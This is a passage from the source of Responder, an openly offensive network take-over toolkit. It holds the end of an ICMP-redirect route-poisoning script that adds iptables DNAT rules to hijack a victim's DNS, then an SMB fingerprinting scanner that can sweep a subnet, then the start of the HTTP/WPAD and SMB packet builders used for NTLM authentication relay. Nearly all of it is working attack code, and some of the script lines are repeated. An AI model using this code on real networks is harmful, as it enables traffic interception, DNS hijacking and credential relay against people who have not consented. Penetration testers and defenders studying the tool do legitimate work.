s = socket(AF_PACKET, SOCK_RAW)
s.bind((Interface, 0x0800))
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
print '[ARP]Target Mac address is :',PrintMac
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
print '[ARP]Router Mac address is :',PrintMac
s = socket(AF_PACKET, SOCK_RAW)
Protocol = 0x0800
s.bind((Interface, Protocol))
Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
IPPackUDP.calculate()
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
ICMPPack.calculate()
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
IPPack.calculate()
final = str(Eth)+str(IPPack)
s.send(final)
print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)
Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
IPPackUDP.calculate()
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
ICMPPack.calculate()
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
IPPack.calculate()
final = str(Eth)+str(IPPack)
s.send(final)
print text("[ICMP-Redir] %s should have been poisoned with a new route for target: %s" % (VictimIP, DestinationIP))
def FindWhatToDo(ToThisHost2):
if ToThisHost2 != None:
Show_Help('Hit CRTL-C to kill this script')
RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
if ToThisHost2 == None:
Show_Help(MoreHelp)
IcmpRedirectSock(DestinationIP=ToThisHost)
exit()
def RunThisInLoop(host, host2, ip):
dns1 = pipes.quote(host)
dns2 = pipes.quote(host2)
Responder_IPadd = pipes.quote(ip)
dns1 = pipes.quote(host)
dns2 = pipes.quote(host2)
ouripadd = pipes.quote(ip)
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
while True:
IcmpRedirectSock(DestinationIP=dns1)
IcmpRedirectSock(DestinationIP=dns2)
print "[+]Repoisoning the target in 8 minutes..."
sleep(480)
call("iptables -A OUTPUT -p ICMP -j DROP")
call("iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True)
call("iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True)
print text("[ICMP-Redir] Automatic mode enabled")
print text("[ICMP-Redir] IPtables rules added for both DNS Servers")
while True:
print text("[ICMP-Redir] Poisoning target... Next round in 8 minutes.")
try:
IcmpRedirectSock(DestinationIP=dns1)
IcmpRedirectSock(DestinationIP=dns2)
sleep(480)
except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
if __name__ == "__main__":
if ToThisHost2 != None:
RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP)
if ToThisHost2 == None:
print text("[ICMP-Redir] Poisoning target...")
IcmpRedirectSock(DestinationIP=ToThisHost)
print text("[ICMP-Redir] Done.")
exit()
FindWhatToDo(ToThisHost2)

225
tools/RelayHTTPSMB/Finger.py Executable file
View File

@@ -0,0 +1,225 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct
from socket import *
from odict import OrderedDict
__version__ = "0.3"
Timeout = 0.5
class Packet():
fields = OrderedDict([
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Now Lanman
class SMBHeaderLanMan(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x54\x00"),
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
def calculate(self):
CalculateBCC = str(self.fields["BuffType"])+str(self.fields["Dialect"])
self.fields["Bcc"] = struct.pack("<h",len(CalculateBCC))
#####################
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data):
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
return Hostname, DomainJoined
except:
return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
return GetHostnameAndDomainName(data)
except:
pass
def SmbFinger(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData()
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
return OsNameClientVersion(data)
except:
pass
##################
#run it
def ShowResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
raise
return False
try:
print "Retrieving information for %s..."%Host[0]
OsVer, LanManClient = SmbFinger(Host)
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
Hostname, DomainJoined = DomainGrab(Host)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
except:
pass
def RunFinger(Host):
m = re.search("/", str(Host))
if m :
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
ShowResults((host,445))
else:
ShowResults((Host,445))

View File

@@ -0,0 +1,990 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import sys
import random
import time
from odict import OrderedDict
import datetime
from base64 import b64decode, b64encode
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
##################HTTP Proxy Relay##########################
def HTTPCurrentDate():
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
return Date
class WPAD_Auth_407_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
("Connection", "Proxy-Connection: close\r\n"),
("Cache-Control", "Cache-Control: no-cache\r\n"),
("Pragma", "Pragma: no-cache\r\n"),
("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
class WPAD_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "Proxy-Authenticate: NTLM "),
("Payload", ""),
("Payload-CRLF", "\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
##################SMB Relay Packet##########################
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNegoCairo(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMBNegoCairoData(Packet):
fields = OrderedDict([
("Separator1","\x02" ),
("Dialect1", "Cairo 0.xa\x00"), #Let's talk Cairo!
])
class SMBSessionSetupAndxNEGO(Packet):
fields = OrderedDict([
("Wordcount", "\x0c"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("AndXOffset", "\xec\x00"),
("MaxBuff","\xff\xff"),
("MaxMPX", "\x32\x00"),
("VCNumber","\x00\x00"),
("SessionKey", "\x00\x00\x00\x00"),
("SecBlobLen","\x4a\x00"),
("Reserved2","\x00\x00\x00\x00"),
("Capabilities", "\xfc\xe3\x01\x80"),
("Bcc","\xb1\x00"),
##gss api starts here.
("ApplicationHeaderTag","\x60"),
("ApplicationHeaderLen","\x48"),
("AsnSecMechType","\x06"),
("AsnSecMechLen","\x06"),
("AsnSecMechStr","\x2b\x06\x01\x05\x05\x02"),
("ChoosedTag","\xa0"),
("ChoosedTagStrLen","\x3e"),
("NegTokenInitSeqHeadTag","\x30"),
("NegTokenInitSeqHeadLen","\x3c"),
("NegTokenInitSeqHeadTag1","\xA0"),
("NegTokenInitSeqHeadLen1","\x0e"),
("NegTokenInitSeqNLMPTag","\x30"),
("NegTokenInitSeqNLMPLen","\x0c"),
("NegTokenInitSeqNLMPTag1","\x06"),
("NegTokenInitSeqNLMPTag1Len","\x0a"),
("NegTokenInitSeqNLMPTag1Str","\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenInitSeqNLMPTag2","\xa2"),
("NegTokenInitSeqNLMPTag2Len","\x2a"),
("NegTokenInitSeqNLMPTag2Octet","\x04"),
("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
## NTLM packet ##
("Data", ""),
## NTLM packet ##
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
("NativeOs","Windows 2002 Service Pack 3 2600"),
("NativeOsTerminator","\x00\x00"),
("NativeLan","Windows 2002 5.1"),
("NativeLanTerminator","\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le')
CompleteSMBPacketLen = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["AndXOffset"])+str(self.fields["MaxBuff"])+str(self.fields["MaxMPX"])+str(self.fields["VCNumber"])+str(self.fields["SessionKey"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])+str(self.fields["Capabilities"])+str(self.fields["Bcc"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
SecBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
data3 = str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
data4 = str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
data5 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
data6 = str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])
data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
## Packet len
self.fields["AndXOffset"] = struct.pack("<h", len(CompleteSMBPacketLen)+32)
##Buff Len
self.fields["SecBlobLen"] = struct.pack("<h", len(SecBlobLen))
##Complete Buff Len
self.fields["Bcc"] = struct.pack("<h", len(CompleteSMBPacketLen)-27)#session setup struct is 27.
##App Header
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(SecBlobLen)-2)
##Asn Field 1
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
##Asn Field 1
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
##SpNegoTokenLen
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
##NegoTokenInit
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10))
## Tag0 Len
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
## Tag0 Str Len
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
## Tag2 Len
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
## Tag3 Len
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(str(self.fields["Data"])))
class SMBSessionSetupAndxAUTH(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\xfa\x00"),
("maxbuff","\xff\xff"),
("maxmpx", "\x32\x00"),
("vcnum","\x01\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x59\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xfc\xe3\x01\x80"),
("bcc1","\xbf\x00"),
("ApplicationHeaderTag","\xa1"),
("ApplicationHeaderTagLenOfLen","\x81"),
("ApplicationHeaderLen","\xd1"),
("AsnSecMechType","\x30"),
("AsnSecMechLenOfLen","\x81"),
("AsnSecMechLen","\xce"),
("ChoosedTag","\xa2"),
("ChoosedTagLenOfLen","\x81"),
("ChoosedTagLen","\xcb"),
("ChoosedTag1","\x04"),
("ChoosedTag1StrLenOfLen","\x81"),
("ChoosedTag1StrLen","\xc8"),
#### NTLM Packet ####
("Data", ""),
#### End Of SMB ####
("NLMPAuthMsgNull","\x00"),
("NativeOs","Unix"),
("NativeOsTerminator","\x00\x00"),
("ExtraNull",""),
("NativeLan","Samba"),
("NativeLanTerminator","\x00\x00"),
("AndxPadding",""),
])
def calculate(self):
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le')
SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
NTLMData = str(self.fields["Data"])
###### ASN Stuff
if len(NTLMData) > 255:
self.fields["ApplicationHeaderTagLenOfLen"] = "\x82"
self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0)
else:
self.fields["ApplicationHeaderTagLenOfLen"] = "\x81"
self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3)
if len(NTLMData)-8 > 255:
self.fields["AsnSecMechLenOfLen"] = "\x82"
self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4)
else:
self.fields["AsnSecMechLenOfLen"] = "\x81"
self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6)
if len(NTLMData)-12 > 255:
self.fields["ChoosedTagLenOfLen"] = "\x82"
self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8)
else:
self.fields["ChoosedTagLenOfLen"] = "\x81"
self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9)
if len(NTLMData)-16 > 255:
self.fields["ChoosedTag1StrLenOfLen"] = "\x82"
self.fields["ChoosedTag1StrLen"] = struct.pack(">H", len(SecurityBlobLen)-12)
else:
self.fields["ChoosedTag1StrLenOfLen"] = "\x81"
self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12)
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
## Packet len
self.fields["andxoffset"] = struct.pack("<h", len(CompletePacketLen)+32) #SMB1 Header is always 32
##Buff Len
self.fields["securitybloblength"] = struct.pack("<h", len(SecurityBlobLenUpdated))
##Complete Buff Len
self.fields["bcc1"] = struct.pack("<h", len(CompletePacketLen)-27) #SessionSetup struct is 27.
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\x5a\x00"),
("Flags","\x08\x00"),
("PasswdLen", "\x01\x00"),
("Bcc","\x2f\x00"),
("Passwd", "\x00"),
("Path","\\\\IPC$"),
("PathTerminator","\x00\x00"),
("Service","?????"),
("Terminator", "\x00"),
])
def calculate(self):
##Convert Path to Unicode first before any Len calc.
self.fields["Path"] = self.fields["Path"].encode('utf-16le')
##Passwd Len
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
##Packet len
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
class SMBNTCreateData(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Reserved2", "\x00"),
("FileNameLen", "\x07\x00"),
